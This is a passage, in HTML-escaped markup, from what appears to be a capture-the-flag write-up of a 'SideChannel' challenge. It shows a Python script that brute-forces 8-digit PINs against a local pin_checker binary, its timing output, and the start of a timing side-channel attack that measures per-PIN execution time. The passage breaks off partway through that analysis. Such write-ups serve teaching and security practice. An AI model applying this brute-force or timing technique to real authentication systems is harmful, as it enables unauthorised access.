&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span&gt;pins&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8992A7);&quot;&gt;:08&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;format&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 99999999&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;try&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; pin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; pins&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;        proc&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt; Popen&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;.&#x2F;pin_checker&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt; stdout&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8BA4B0);font-weight: bold;&quot;&gt;PIPE&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt; stdin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8BA4B0);font-weight: bold;&quot;&gt;PIPE&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt; stderr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8BA4B0);font-weight: bold;&quot;&gt;PIPE&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 9&lt;&#x2F;span&gt;&lt;span&gt;        stdout_data&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; proc&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;communicate&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;input&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;pin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;utf-8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;        stdout_string&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt; str&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;stdout_data&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;granted&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; stdout_string&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;            print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;FOUND PIN! PIN: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt; pin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;            break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;PIN: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;pin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;str&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;stdout_data&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;strip&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;15&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;except&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt; KeyboardInterrupt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Program interrupted.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;17&lt;&#x2F;span&gt;&lt;span&gt;    sys&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;pin.py&lt;&#x2F;code&gt; output&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ time python pins.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PIN: 00000000, b&amp;#39;Please enter your 8-digit PIN code:\n8\nChecking PIN...\nAccess denied.\n&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PIN: 00000001, b&amp;#39;Please enter your 8-digit PIN code:\n8\nChecking PIN...\nAccess denied.\n&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PIN: 00000002, b&amp;#39;Please enter your 8-digit PIN code:\n8\nChecking PIN...\nAccess denied.\n&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PIN: 00000003, b&amp;#39;Please enter your 8-digit PIN code:\n8\nChecking PIN...\nAccess denied.\n&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PIN: 00000004, b&amp;#39;Please enter your 8-digit PIN code:\n8\nChecking PIN...\nAccess denied.\n&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PIN: 00000005, b&amp;#39;Please enter your 8-digit PIN code:\n8\nChecking PIN...\nAccess denied.\n&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PIN: 00000095, b&amp;#39;Please enter your 8-digit PIN code:\n8\nChecking PIN...\nAccess denied.\n&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PIN: 00000096, b&amp;#39;Please enter your 8-digit PIN code:\n8\nChecking PIN...\nAccess denied.\n&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PIN: 00000097, b&amp;#39;Please enter your 8-digit PIN code:\n8\nChecking PIN...\nAccess denied.\n&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PIN: 00000098, b&amp;#39;Please enter your 8-digit PIN code:\n8\nChecking PIN...\nAccess denied.\n&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PIN: 00000099, b&amp;#39;Please enter your 8-digit PIN code:\n8\nChecking PIN...\nAccess denied.\n&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;real    0m12.780s&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;user    0m12.311s&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sys     0m0.435s&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Unfortunately timing just the first 100 PINs, my system took over 12 seconds.
Now let’s see how long we could expect a complete brute force attempt to take if we let the script run to completion for all 99,999,999 possible PINs.&lt;&#x2F;p&gt;
&lt;p&gt;$ total time = \frac{99999999} {100} \times 12s = 11,999,999s = 199,999min = 3,333hrs $&lt;&#x2F;p&gt;
&lt;p&gt;This is, of course, assuming the time to check each PIN is consistent (we’ll find out shortly that’s not the case). Regardless, it’s safe to say brute forcing the PIN doesn’t look like a good path forward.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;timing-attack&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#timing-attack&quot; aria-label=&quot;Anchor link for: timing-attack&quot;&gt;Timing attack&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Okay, now that we’ve ruled out a brute-force attempt, let’s go back to the title of the challenge, &lt;em&gt;SideChannel&lt;&#x2F;em&gt;. Side-channel attacks are essentially observing a process and gleaning information from it based on timing, power consumption, or even sound. They can get very complicated, but in our case the only path that really makes sense for our program is a timing-based attack.&lt;&#x2F;p&gt;
&lt;p&gt;So, let’s start by fuzzing &lt;code&gt;pin_checker&lt;&#x2F;code&gt; with a few different PINs and monitoring the execution time to see where that gets us.&lt;&#x2F;p&gt;
&lt;p&gt;Just to highlight a few things I’ll be using the following pipeline to clean up the output and just focus on the real elapsed time by the process. You can see an in depth breakdown of the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;explainshell.com&#x2F;explain?cmd=%24+%2Fusr%2Fbin%2Ftime+-f+2%3E%261+%22%5Cn%25E%22+.%2Fpin_checker+%3C%3C%3C+00000000+%7C+tail+-n1+0%3A00.13&quot;&gt;pipeline&lt;&#x2F;a&gt; on &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;explainshell.com&#x2F;&quot;&gt;explainshell.com&lt;&#x2F;a&gt;. Just know that we’re sending a PIN code (&lt;code&gt;00000000&lt;&#x2F;code&gt; in this case) to &lt;code&gt;.&#x2F;pin_checker&lt;&#x2F;code&gt; and getting back the elapsed time in &lt;code&gt;hours:minutes:seconds&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 00000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.13&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Following are all the permutations of the first digit of the PIN while leaving the remaining digits as zero.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 00000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.12&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 10000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.13&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 20000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.13&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 30000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.13&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 40000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.25&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 50000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.13&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 60000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.13&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 70000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.14&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 80000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.13&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ &#x2F;usr&#x2F;bin&#x2F;time -f 2&amp;gt;&amp;amp;1 &amp;quot;\n%E&amp;quot; .&#x2F;pin_checker &amp;lt;&amp;lt;&amp;lt; 90000000 | tail -n1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0:00.13&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
